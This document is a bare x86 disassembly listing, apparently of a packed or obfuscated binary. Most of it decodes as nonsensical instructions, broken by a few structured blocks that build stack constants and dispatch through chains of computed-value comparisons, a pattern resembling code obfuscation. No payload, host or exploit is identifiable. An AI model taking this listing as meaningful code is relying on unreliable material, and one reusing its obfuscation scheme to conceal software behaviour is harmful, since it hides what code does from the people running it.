fsub qword [edx + ebp*2]
inc esp
cmp dl, byte [edx + 0x28972fbb]
mov edx, dword [edi]
mov ch, 0xea
push 0x4ca382db
or al, 0x7e
out dx, eax
mov byte [0x74f2e9f4], al
add esi, dword [edx + 0x77]
test al, 0xe0
mov ecx, esp
adc byte [ebp + esi*8 - 0x72623836], bl
jo 0x6e000d0e
mov edi, 0x5087b3e2
jmp 0xb0ee770d
xchg ebp, eax
mov ebx, 0x2c86b33d
outsb dx, byte [esi]
pop esi
push ebp
jnp 0x6e000c77
loopne 0x6e000d27
inc edx
pushal
inc eax
inc eax
mov edx, 0x7e37f499
adc eax, 0x5c240022
pop eax
stosd dword es:[edi], eax
jno 0x6e000ce2
arpl dx, di
add al, 0x8f
pop edx
int1
push ebx
mov ch, 0x2c
sbb dl, byte [edi + 0x46032dd5]
test al, 0xab
or dword [edx + ecx*2 - 0x7836ccf0], ecx
and eax, 0x9b3b973b
mov byte [ecx + esi*2 - 0x6a], al
push 0xf8d81c30
jo 0x6e000cda
push ds
adc al, 0x2b
adc eax, 0xe95d5db3
int 0xc5
lodsd eax, dword [esi]
iretd
iretd
sub eax, 0x1955240f
out 0x67, al
iretd
retf 0xca7e
add cl, byte [eax]
xor eax, dword [edx]
outsb dx, byte [esi]
out dx, eax
aam 0x98
xlatb
push esp
pop edi
or eax, 0x8ede6db4
ror bh, 0x8e
sti
add dword [ecx + 0x1668fb2d], 0x8a63d661
aad 0xa
cmpsb byte [esi], byte es:[edi]
call 0xbaba81bf
push ss
push 0x7bb49ea6
loope 0x6e005330
popfd
cmp al, 0x13
adc dh, dl
jmp 0x6e00534c
sub dword [ecx + eax*4 - 0x6ff3b636], esp
int3
jo 0x6e0052b1
js 0x6e005392
push 0x3500ec47
jno 0x6e005342
inc edi
in al, dx
add byte [0xf7e11271], dh
loope 0x6e005329
loope 0x6e005319
xor esp, dword [ecx]
mov byte [esi + 0x63], 0x31
pushfd
cld
stosd dword es:[edi], eax
loopne 0x6e0053b3
mov ebx, 0x5527cd37
daa
push ebp
push ss
jl 0x6e005358
xor edx, ebx
push cs
xlatb
stosb byte es:[edi], al
mov al, byte [0x83000b8c]
int3
sahf
and eax, 0xbea08aa3
lahf
aam 0x64
sbb dword [esi - 0x5d43a24a], ecx
cdq
cmp cl, byte [edx]
xchg ebx, eax
or eax, 0x1b72407a
invalid
jecxz 0x6e0053d6
xchg esp, eax
fisttp word [ebp + ebp*2 + 0x14]
imul eax, dword [eax - 0x23], 8
ljmp 0xec8e
enter 0xffffffffffff9ccf, 0xffffffffffffff8b
mov dword [eax - 0x4c2fec1f], esi
out dx, al
add edi, dword [eax - 0x1247f1a7]
sub esp, eax
hlt
inc ebx
iretd
aam 0xc6
inc edi
loop 0x6e006ab0
stosb byte es:[edi], al
mov byte [0x8c125f76], al
pop ebp
xchg edi, eax
mov esi, 0xe2d02be3
cmpsd dword [esi], dword es:[edi]
xchg ebp, eax
stc
retf
jb 0x6e006ac9
jne 0x6e006a74
inc ecx
cld
cmpsd dword [esi], dword es:[edi]
add esp, ecx
ret 0xe9fd
push cs
hlt
loopne 0x6e006aaf
mov byte [ebx + edx*8 - 0x1e10a47d], ah
adc eax, 0xdf02ecb6
sub eax, 0x600be92b
sti
sub ebp, ecx
or esp, dword [eax - 5]
push ebx
pop es
insb byte es:[edi], dx
jecxz 0x6e006aba
fist dword [0x1d066ef1]
scasb al, byte es:[edi]
or bh, byte [esi]
cmp dword [eax + 0x7f], edi
stc
mov edx, 0xc9e2c02c
salc
mov cl, 0x4a
imul esi, dword [ecx], 0xffffffde
mov dword [0xf3a9a12d], eax
mov al, 0xdd
fcomp dword [esi - 0x64]
pop esi
pushfd
push ebp
add ch, byte [ebp - 0x48d134ac]
cli
mov bh, 0xfa
xchg byte [ebx], ah
cmp dword [ecx - 0x4265f9cc], 0xe4013c84
jp 0x6e006b37
pop edi
adc bh, bl
and dword [ebx], 0x985f77a3
je 0x6e006af4
jae 0x6e006b2c
push ebp
jae 0x6e006afe
pop eax
sahf
or edx, edi
add bl, dl
jae 0x6e006b9f
cmp bl, 0x92
dec edi
sbb byte [ebp + 0xb0ae0f], dh
scasb al, byte es:[edi]
mov al, 0
push edi
mov cl, byte [edi + 0x30]
mov dh, 0x1c
and byte [eax], al
and byte [eax], al
mov ebx, 0xbf41906b
jnp 0x6e006afb
imul edi, dword [edi], 0xaca9f217
xchg esp, eax
dec ecx
stc
clc
nop
push eax
mov ebp, 0xb962a089
adc al, byte [ebx]
wait
inc esp
sbb eax, 0xc5fec9e1
jmp 0x6e006b61
test al, 0xb7
in eax, dx
enter 0xffffffffffffe336, 0x10
dec edi
leave
nop
int3
mov ebp, 0x823f3f04
nop
les edi, [ebp - 0x35]
stosd dword es:[edi], eax
clc
mov edx, 0xb3b4939f
iretd
sbb al, 0x4a
mov gs, ecx
pop ecx
cmc
sbb al, 0x2a
and ebx, 0x61
pushfd
push edx
cmp eax, 0xd79376ac
insd dword es:[edi], dx
push edx
scasd eax, dword es:[edi]
bound edx, qword [ebx - 0x9bd2ebc]
sahf
mov esp, 0x75ae8c86
invalid
mov al, 0xf1
inc esp
jmp 0x6e008199
imul esi, dword [ebp - 0x474c6200], 0xd6803117
mov eax, 0x27d37683
ja 0x6e00824f
fimul dword [ebx + 0x15]
dec eax
cmp eax, 0xb74d5876
mov ebx, 0xb4082ea9
js 0x6e0081e6
out 0xa0, al
invalid
pop edi
jl 0x6e0082a3
sub dword [eax + 0x1f], ecx
pop eax
push es
inc ebx
mov edi, 0x7bbeabc6
test al, 0xc
pop edx
mov esi, 0x5a0ca87b
insd dword es:[edi], dx
aad 0xcd
aam 0xb5
pop esi
wait
inc esp
je 0x6e008225
xchg esi, eax
jnp 0x6e008267
invalid
aas
xlatb
xchg edi, eax
aad 0x14
in eax, 0xe7
sub eax, 0x424750ee
inc edi
inc edx
push ebp
jbe 0x6e0082aa
imul esi, dword [ebx], 0xd
pop esi
xchg ecx, eax
mov dword [ebp + esi*8 + 0x59], 0x34ee4235
add dword [edx], 0xe
mov bh, 0xf5
imul byte [ecx - 0x40]
jo 0x6e00825b
les esi, [esi]
jnp 0x6e008271
in al, dx
mov ebx, 0x27f64c3a
jge 0x6e00830f
and ch, ah
xchg ecx, eax
jle 0x6e0082e3
loopne 0x6e008243
mov eax, dword [0x1bd9fca0]
fstp dword [ebx]
push 0x9f5d17bc
fdiv dword [esi]
retf
nop
int3
aam 0x70
cli
stosb byte es:[edi], al
scasd eax, dword es:[edi]
sub ah, byte [ebp + 0x55]
insd dword es:[edi], dx
sbb byte [edi], ch
insb byte es:[edi], dx
mov edx, 0x2d25187c
cli
jne 0x6e008349
sbb eax, 0xb9120312
mov bh, 0x3e
in eax, dx
out 0xc2, eax
fstp st(2)
cmpsb byte [esi], byte es:[edi]
aaa
pop edi
mov gs, word [edx - 0x7e827c03]
nop
mov eax, 0x91aee1a1
wait
cmpsd dword [esi], dword es:[edi]
aam 0x3a
push ecx
insd dword es:[edi], dx
cmpsb byte [esi], byte es:[edi]
imul eax, dword [ebx], 0xffffff96
movsb byte es:[edi], byte [esi]
xchg edx, eax
inc edi
xchg ecx, eax
sbb dword [esi + 0x38], 0x7cf9fe9d
shr dword [ebp - 0x631233d0], 1
out dx, al
cdq
lodsd eax, dword [esi]
inc esi
cmp byte [eax + 0x3021b6b6], dh
retf
push esp
loopne 0x6e0099ae
mov al, 0x7d
or al, 0x1c
mov ebx, 0x90789808
retf
xlatb
push ds
dec eax
jnp 0x6e009a02
aas
xchg esi, eax
hlt
sub eax, edx
or esi, dword [edx + 0x646d3ca1]
and eax, 0x81f847e6
sbb al, 6
cld
and eax, 0xbc29d6e5
lea ebx, [edi]
les edx, [esi - 0x4016d57b]
push es
hlt
invalid
push 0x14
sbb eax, 0xb5de9476
wait
dec ebp
invalid
cmp ch, byte [edx - 0x2b020e6d]
dec ecx
pop esi
loop 0x6e00c820
in eax, 0x50
stosb byte es:[edi], al
mov byte [0xd971596e], al
and dword [edi + ebx*4 + 0x35], ebx
sub al, 0x33
invalid
nop
jmp 0x6e00dff7
nop
mov dword [ebp - 0x349], 0x1225250d
mov dword [ebp - 0x345], 0x22f100c
mov dword [ebp - 0x341], 0x2b0302
mov byte [ebp - 0x33d], 0
mov dword [ebp - 0xe8], 0xb0f88
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xf0], 0xcd257
mov dword [ebp - 0xec], 0
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xec]
sub eax, dword [ebp - 0xe8]
sbb edx, dword [ebp - 0xe4]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf8]
xor eax, 0x1c2cf
or eax, dword [ebp - 0xf4]
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0xb
lea eax, [ebp - 0x349]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x100], 0xa3246
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x108], 0x9f023
mov dword [ebp - 0x104], 0
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x108]
sbb edx, dword [ebp - 0x104]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x110]
xor eax, 0xc6de8
or eax, dword [ebp - 0x10c]
je 0x6e00e27c
mov edx, 0xc6de8
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0xbc170
or eax, dword [ebp - 0x10c]
je 0x6e0186c4
mov edx, 0xbc170
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0xa415c
or eax, dword [ebp - 0x10c]
je 0x6e0128e4
mov edx, 0xa415c
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0xa314e
or eax, dword [ebp - 0x10c]
je 0x6e01405c
mov edx, 0xa314e
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0xa0d34
or eax, dword [ebp - 0x10c]
je 0x6e016f4c
mov edx, 0xa0d34
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0x82018
or eax, dword [ebp - 0x10c]
je 0x6e0157d4
mov edx, 0x82018
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0x4ee10
or eax, dword [ebp - 0x10c]
je 0x6e00f9f4
mov edx, 0x4ee10
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e019e39
mov eax, dword [ebp - 0x110]
xor eax, 0x4223
or eax, dword [ebp - 0x10c]
je 0x6e019e3c
mov eax, dword [ebp - 0x110]
xor eax, 0x2164e
or eax, dword [ebp - 0x10c]
je 0x6e01116c
jmp 0x6e019e39
inc ebx
arpl bp, di
ret
std
sub edx, dword [0x8289457f]
out dx, al
aam 0x77
mov cs, word [0x9ff4f5f6]
adc eax, 0x862289b0
lcall 0x7392, 0x2e26a130
jge 0x6e00fa74
push es
mov al, byte [ebp - 0x2bd912b3]
sbb ah, byte [edx + 0x7c2159a2]
pushal
mov dword [0x7725f48b], ebx
inc edi
dec esp
dec esp
cld
cmp dh, bl
rcr dword [ebp + 0x475154ef], cl
lahf
out 0xe7, al
adc byte [ebp - 0x27], cl
mov ecx, 0x6a8a5f99
ljmp 0x45ab
mov byte [ebx + 0x5d65dec0], ch
jp 0x6e00fa8c
push edi
outsb dx, byte [esi]
lcall 0x6370, 0xd1e9d269
jmp 0x6e00fabb
pop edx
and byte [edi], dl
mov ch, 0xc1
invalid
je 0x6e00fad5
insd dword es:[edi], dx
or al, 0xc8
jle 0x6e00fa53
jmp 0x52df3f93
dec ecx
mov esi, 0x35a4a293
or dword [ebx - 0x4b80360f], edx
dec ebp
mov ah, 0x4d
wait
and dword [ebx + ebp*2 + 0x38d96b38], 0x492f9a9b
sub dword [esi - 0x5f3e8b08], ebp
pop ss
pop ds
loope 0x6e00fb24
neg esp
cmp al, 0x53
dec ebx
sti
pop ds
retf
stosd dword es:[edi], eax
inc eax
dec esp
rol byte [ebp - 0x56336f13], 1
jnp 0x6e00fa6c
dec ecx
xchg byte [edx + 0x43], bh
sub ebx, dword [esi + 0x514feea1]
dec ecx
lea edi, [edx - 0x790f3d5f]
in al, dx
mov dl, 0x8d
mov byte gs:[0xecc592c2], al
sub eax, 0xa21344d0
xor dword [ebx - 0x28], esp
or ah, byte gs:[esi]
loop 0x6e00fa97
invalid
dec eax
rcr byte [ebp + 0x74c1c5c6], cl
sbb cl, bh
lodsd eax, dword [esi]
invalid
mov eax, 0x2d1f67d6
sub ah, byte [ebp + 0x6b]
sbb esp, ebx
inc ebx
push ecx
invalid
sahf
inc ebp
jbe 0x6e011199
mov ss, word [ebp + edi*8 + 0x71988ee2]
dec esp
das
mov esi, 0x9df1d9f4
xor bh, byte [ecx - 0x7b14b153]
mov dword [edx + 0xfc16f25], ebp
push esi
wait
ret 0xbe3e
sbb eax, dword [ebx - 0x50]
push 0x19
rcr byte [edx - 0x6af680c7], 1
jb 0x6e0111cd
ret
dec ebp
nop
test al, 0xbe
sar dword [eax - 0x1c2896bf], cl
lea ebp, [ecx]
push esp
invalid
jmp 0xec150120
mov cs, word [eax + esi*2]
inc ebp
rcl dword [esi + 0x7afdcb29]
adc al, al
inc ecx
lds esi, [edx + 0x6d]
les edx, [eax + 0x2f]
invalid
push ebp
xchg edi, eax
dec ecx
cmc
in al, 0xcc
aaa
cmp dword [eax + 0x5de1e9cc], edx
add byte [eax], al
loope 0x6e01401c
push 0x2bb1b453
sbb dword [ecx - 0x71433785], 0x45
pop ebp
jle 0x6e01404d
sbb al, 0x76
ljmp 0x50c
ljmp 0x3c5c:0xe8b84a5f
hlt
out dx, eax
dec edx
mov ebx, 0xe7cac595
jns 0x6e016ee4
mov ecx, 0xbd52f440
add eax, 0xea5adf18
xor eax, 0x37749510
scasb al, byte es:[edi]
add al, 0xbb
add ecx, 0x5884192f
push es
push edx
add bl, bl
push esp
and al, 0xc1
scasd eax, dword es:[edi]
test dl, dl
sub byte [edx + 0xecd46ef], dl
mov dword [esi + 0xd0a0921], ebp
xor byte [esi], 0xfa
pop ss
add edi, 0x318684e
adc al, bh
sub dh, bh
pop esp
cmp dh, byte [ebx]
inc eax
cmp eax, 0x94a5b346
mov bh, 0xf0
cmp al, 0xcd
int3
aam 0x6a
dec ecx
cmp dword [ecx + ebx - 0x3d787153], edx
invalid
nop
jmp 0x6e019e3d
nop
mov dword [ebp - 0x351], 0x2272c23
mov dword [ebp - 0x34d], 0x2119
mov dword [ebp - 0x118], 0xdf835
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x120], 0xb4d60
mov dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x118]
mov edx, dword [ebp - 0x114]
sub eax, dword [ebp - 0x120]
sbb edx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x128]
xor eax, 0xf232b
or eax, dword [ebp - 0x124]
je 0x6e021626
mov edx, 0xf232b
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0xd8c07
or eax, dword [ebp - 0x124]
je 0x6e027406
mov edx, 0xd8c07
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0xcf69e
or eax, dword [ebp - 0x124]
je 0x6e01a0ce
mov edx, 0xcf69e
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0xcc5ac
or eax, dword [ebp - 0x124]
je 0x6e024516
mov edx, 0xcc5ac
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0xc48bc
or eax, dword [ebp - 0x124]
je 0x6e01e736
mov edx, 0xc48bc
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0xc12c0
or eax, dword [ebp - 0x124]
je 0x6e01cfbe
mov edx, 0xc12c0
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0x72dee
or eax, dword [ebp - 0x124]
je 0x6e01feae
mov edx, 0x72dee
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0x5621d
or eax, dword [ebp - 0x124]
je 0x6e025c8e
mov edx, 0x5621d
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0x45f23
or eax, dword [ebp - 0x124]
je 0x6e01b846
mov edx, 0x45f23
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0x37f2b
or eax, dword [ebp - 0x124]
je 0x6e028b7e
mov edx, 0x37f2b
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x6e02a2f3
mov eax, dword [ebp - 0x128]
xor eax, 0x2aad5
or eax, dword [ebp - 0x124]
je 0x6e02a2f6
mov eax, dword [ebp - 0x128]
xor eax, 0x2c565
or eax, dword [ebp - 0x124]
je 0x6e022d9e
jmp 0x6e02a2f3
push esp
jecxz 0x6e01a0db
mov eax, dword [0x83c4f73f]
stosd dword es:[edi], eax
mov dl, 0xb6
dec edx
invalid
or ch, byte [edx - 0x1995c4bf]
lahf
stosb byte es:[edi], al
emms
add dword [edx + 0x70f88752], ebx
loop 0x6e01b8d8
fmul qword [eax - 0x49]
and esi, esp
insd dword es:[edi], dx
outsd dx, dword [esi]
mov eax, 0x9f316bb8
push es
add esi, dword [eax + 0x4ba28059]
aam 9
pop edx
cmp dword [esi - 0x27d34819], 0xc99a4166
xor ch, byte [edi + ecx*2]
xchg ebp, ebx
hlt
mov al, 0x59
and byte [edx + 0x5a09d44b], 0x81
mov esi, 0xd82cb7e7
inc cx
lcall 0xdd87, 0x4f2c32c9
invalid
sub dword [ebp - 0x50], edx
mov ebx, 0xea318d35
xor ebp, dword [ecx - 0x1455f76d]
push ebp
mov al, 0xbb
xor eax, 0x33ea318d
test eax, 0xebaa0893
jb 0x6e01b87f
or eax, 0xa0fe09b8
sar dword [eax + 0x408f9328], cl
mov dl, 0x48
push ebx
mov eax, dword [0x64d0dd98]
dec esp
aas
into
cmp byte [0x2dcc15b4], dh
loope 0x6e01b8e8
jecxz 0x6e01b910
fnstcw word [esi + 0x2892574e]
clc
test byte [esi], dl
add al, dh
cwde
add ecx, dword [ebp + 0x225f3ed8]
fstp qword [esi]
push ds
push ss
out dx, al
pop ebx
jbe 0x6e01b85e
adc dword [edi + 0x63befb01], 0x69
invalid
sti
mov esi, 0xf18f6963
push 0xffffffffffffffc1
add al, 0xa8
movsd dword es:[edi], dword [esi]
adc al, 0x29
sub al, 0xa5
xchg edi, eax
inc ebp
xchg ebp, eax
jae 0x6e01b881
aam 0xf0
jb 0x6e01b869
insb byte es:[edi], dx
and al, ch
cli
mov cl, 0x37
inc esi
jo 0x6e01b8c4
loopne 0x6e01b93e
and bh, byte [ebp + 0x31136241]
daa
add dl, 0xd7
mov al, byte [0x4970fb57]
div byte [esp + edi*4]
jo 0x6e01b928
mov bl, 0x24
stosd dword es:[edi], eax
out dx, eax
or al, 0x9c
lea esi, [ebx - 0x4b]
adc eax, 0x4468c875
inc eax
nop
int3
push 0xcc904044
sahf
aaa
lahf
imul eax, dword [esp + esi*4 - 0x35167158], 0xffffff93
pop edi
popfd
push es
inc ebp
dec ebp
stosb byte es:[edi], al
test dl, bl
mov ebx, es
mov ebx, 0x64ad7a5b
jno 0x6e01b983
fimul dword [ebx + eax*8 + 0x7a5bbb2e]
lodsd eax, dword [esi]
jno 0x6e01b983
or ebx, dword [edi]
jecxz 0x6e01b8cd
xchg ebp, eax
jmp 0x6e01b9b9
xchg byte [esi], bh
xor ah, byte ds:[edx - 0x28]
xor ah, byte [edx - 0x28]
movq qword [ebp + 0x5e3980b4], mm1
fldenv [eax + edx*8 + 0xe]
in eax, dx
mov eax, dword [0xf020843]
jae 0x6e01b8ee
cmp ebx, dword [ebp + 0x50]
and ebx, dword [0x44120771]
mov cs, word [ecx]
jno 0x6e01b966
adc al, byte [esi + ecx*4 + 9]
push ecx
add eax, 0x72c577c0
sal byte [edi - 0x3b], 0x72
xor ch, byte [eax - 0x12]
jbe 0x6e01b937
xor dword [eax], esp
sub dl, byte [esi - 0x692140d1]
js 0x6e01b9c0
lea edx, [edx - 0x65]
push 0xc921ee5c
fld dword [edx + 0x66cbec13]
mov al, byte [0xe1af0e2b]
sbb al, 0x31
inc ebx
pushfd
inc edi
invalid
adc byte [ebx], 0xec
retf
mov ebp, 0x66504fc3
add al, al
push 0xffffffffffffffe5
jae 0x6e01b941
ja 0x6e01b95d
sub ah, byte [eax]
sbb eax, 0xbac01107
push ecx
dec esp
push edx
jns 0x6e01b9a5
push edx
dec esp
add eax, dword [bx - 0x7fce]
or cl, byte [edi - 0x7d]
sub eax, 0x39b96a9f
pop edi
mov ah, 0x20
adc dword [ebx + 0x3f], 0x864da9d
jno 0x6e01b964
fld dword [ebp - 0xa]
movsb byte es:[edi], byte [esi]
inc edx
push edi
push edx
int 0x56
nop
int3
cmpsd dword [esi], dword es:[edi]
xor eax, 0xc90d7d3a
lea esp, [esi + 0x7811a96e]
and eax, 0x2b18b48f
xchg esp, eax
invalid
adc dword [edi + 0x51], ebx
xor ah, byte [edi - 2]
xchg ebx, eax
fnsave dword [esi + 0x6c]
cmp al, 0xbf
jle 0x6e01e7bd
mov dl, 0xc
add al, ah
push ecx
rol dword [edi + 0x7a438b99], 0xe2
int1
or ah, byte [eax]
test ch, bl
cmp dword [ebx - 0x78], ebx
jae 0x6e01e7d8
xchg esi, eax
or dword [eax + 0x5a095f9b], 0x9c7c7e19
dec ecx
cdq
sub byte es:[eax + 0x27], 0xe
out 0xfd, eax
jns 0x6e01e77e
invalid
xchg ebp, eax
push es
or eax, dword [ecx - 0x29]
imul ecx
sbb eax, 0xe9bfc7d7
and eax, 0x91c8f435
mov al, 0x57
int 0xdf
imul ebp, dword [edi + 0x70b4313a], 3
push cs
push edi
xchg edi, eax
nop
cmpsd dword [esi], dword es:[edi]
inc eax
xchg edx, eax
salc
imul byte [ecx - 0x7a]
jge 0x6e01e7f3
jae 0x6e01e742
cmp edi, dword [esi]
cmpsb byte [esi], byte es:[edi]
xchg dword [esi], esp
invalid
invalid
adc cl, byte [edi]
jle 0x6e01e829
dec edx
pop esi
pop ecx
xchg esp, eax
ljmp 0x369f
cld
mov cl, 0x3a
dec ebx
sub edi, dword [esi - 0x5b8aad97]
adc cl, 0xe5
inc eax
pause
int3
rcl cl, 2
rol dword [edx], 1
cmovnp edi, esi
jns 0x6e01e846
xor dl, bl
jl 0x6e01e84d
stosd dword es:[edi], eax
out 0x7e, al
push esp
cmc
cmp al, 0xd3
outsb dx, byte [esi]
enter 0xffffffffffffd80f, 0xffffffffffffffcb
sbb cl, byte [esi + 0x4991c87b]
xchg ecx, eax
dec ecx
jg 0x6e01e889
test byte [ecx - 0x98180d0], al
jle 0x6e01e845
clc
lahf
into
outsb dx, byte [esi]
and byte [edx + edi*2 + 0x73], cl
lahf
nop
popfd
std
xor esp, dword [0xf80e8a9a]
and eax, 0xf80e8a9a
aaa
mov ss, word [esi + 0x1d]
jle 0x6e01e89f
mov ebx, 0xc873b316
jo 0x6e01e89c
std
stc
jne 0x6e01e883
out 0x9f, al
add ecx, dword [esi]
insd dword es:[edi], dx
invalid
popfd
outsb dx, byte [esi]
mov ebp, 0x3d743f1e
mov eax, cs
mov dh, 0x84
cmp eax, 0x84b6c88c
aam 0xea
sbb al, 0xf7
push ebx
loope 0x6e01e839
invalid
aam 0x36
aam 0x99
cdq
jbe 0x6e01e85e
jl 0x6e01e828
dec ebp
push ss
pushfd
cmpsd dword [esi], dword es:[edi]
fist word [esi - 0x3e]
add byte [ecx - 0x35], al
dec ecx
lahf
add dh, byte [ebx + 0x539f67e0]
jle 0x6e01e858
invalid
pop ss
sar byte [eax + edi*8 + 0x4c], cl
mov ecx, 0xf80e88f0
inc eax
clc
pop ss
invalid
std
mov ah, 0x49
xchg byte [edi], bl
jmp 0x6e0216a4
add eax, 0xc7fbb26a
and al, 0xfc
adc byte [eax], 0xf2
sub byte [eax - 0x342b8f4], bh
invalid
sub dword [esi + esi*4 - 0x47126b10], edx
xchg byte [edi], al
sahf
cdq
insd dword es:[edi], dx
jle 0x6e022d04
dec edx
enter 0xffffffffffffb740, 0xffffffffffffffe0
mov bh, 0xe0
xchg esp, eax
loop 0x6e022d24
and byte [edx - 0x3cbdbad8], dl
xor al, 0xa4
adc edx, eax
div dword [ebp - 0x4895892]
xor al, 0x85
cmp eax, 0x239667e0
add al, 0x34
push ds
stosb byte es:[edi], al
push esp
invalid
xchg edx, eax
sub byte [ebp + 0x42], al
ret
xor ebp, esp
mov esp, 0xc618d57
xchg byte [edi - 0x4c16b930], dh
insb byte es:[edi], dx
push ds
push eax
adc eax, 0x7261178e
mov ebx, dword [edi]
mov esp, 0xbe6540
and byte [ecx + ebx*8 - 0x627e9a39], bl
jbe 0x6e022d03
mov esi, 0xd99c2000
invalid
cld
jne 0x6e022cee
invalid
test ah, dh
loopne 0x6e022d3d
stosb byte es:[edi], al
in al, dx
push esi
loope 0x6e022cff
mov ch, 0xf9
mov al, 0xab
inc esp
jae 0x6e022d03
imul esp, ecx, 0x8d452f43
invalid
cmp byte [esi - 0x64], bl
sal byte [edi - 0x20], 0xce
stosb byte es:[edi], al
cmp byte [edx], ah
fcomp st(2)
inc ebx
xchg ecx, eax
std
js 0x6e022dad
or byte [eax + 0x4b15c15b], ah
rcr dh, cl
mov eax, dword [0x19184b85]
pmaxub mm2, qword [edx]
fld xword [edi - 0x12]
adc dword [eax + ebx*8 + 0x58], edi
cmpsb byte [esi], byte es:[edi]
or ebx, eax
scasb al, byte es:[edi]
jno 0x6e022d6d
insb byte es:[edi], dx
xchg esp, eax
cmp bh, byte [edi - 0x4360f720]
sub ebx, ecx
adc al, 0x78
js 0x6e022e4e
jmp 0x6e022dc6
invalid
sub dword [edx], 0x6d4985f7
adc eax, 0xe54469cb
xor eax, 0xcee2de20
out 0x69, eax
push edi
leave
jle 0x6e022ed1
mov esp, 0xae51c7f7
and byte [eax + edx*4 - 0x34], bh
jb 0x6e022e0f
sbb al, 0x3b
into
push ecx
pushal
jae 0x6e022eac
pop edx
sbb al, 2
movsb byte es:[edi], byte [esi]
or eax, 0x8b22c1ed
jecxz 0x6e022e89
lea edi, [eax]
test byte [ebp + 0x7b], dl
in al, dx
scasd eax, dword es:[edi]
xchg ecx, eax
xchg ecx, eax
out 0x37, al
sti
invalid
aaa
pop esp
add dword [esi - 0x19], esp
pop edx
xchg ebp, eax
das
ret
and eax, 0x35fac53e
push edx
xchg ecx, eax
in al, dx
lcall 0xd773, 0xb6518d1e
xchg byte [ecx + 0x14], bl
xlatb
push ecx
insb byte es:[edi], dx
sbb eax, 0xeff6e800
in eax, 0xc
push es
or al, 6
imul edi, dword [ebp + 0x4e], 0x2079740a
jne 0x6e022f18
xchg esi, eax
popfd
jp 0x6e022f42
cmp dword [esi + 0x3d], edx
xchg ecx, eax
sti
ret 0x806d
int 0xf4
push ebx
or dh, dh
mov dword [ebx + 0x4d], 0x8ec110db
sbb dh, 0x67
xor byte [eax + ebp + 0x6fa236c2], dl
ljmp 0x8c28
sbb al, byte [ecx + 0x3a]
stosd dword es:[edi], eax
lds eax, [esi - 0x7f401704]
push eax
dec ebp
mov dl, 0x59
cmc
adc cl, bl
test bh, dl
xor al, 0x7a
dec eax
sbb ah, byte [ecx + 0x15]
js 0x6e022fc4
out dx, eax
aas
fnstsw word [edx]
jb 0x6e022eec
imul ebp, dword [ebx], 0xffffffa4
adc dword [edx], esp
loop 0x6e022fb5
ljmp 0x4ba3:0xb5df2e04
push 0xffffffffffffffc9
pushfd
in al, dx
aas
leave
inc esi
mov gs, word [ebx + 0x1b]
push ebx
push ebx
aas
into
jle 0x6e022fcb
push es
jo 0x6e022f66
push eax
pushfd
out dx, al
push ss
pop esp
ret 0x8fda
sti
scasb al, byte es:[edi]
xchg ebp, eax
sub al, byte [edx + ebx*2 - 0x3f]
jmp 0xe1de639d
inc edi
arpl word [0xab35eff2], bp
cmp ah, byte [ebx]
hlt
stosb byte es:[edi], al
popal
lcall 0xd80e, 0xf4b12200
cmp eax, 0xb305c8fd
inc ebx
inc ebp
pop eax
xor dword [ecx], esp
shl byte [ebx - 0x7306e7fe], cl
dec esp
jmp 0xbff71662
lcall 0x25f, 0xf66cda4a
hlt
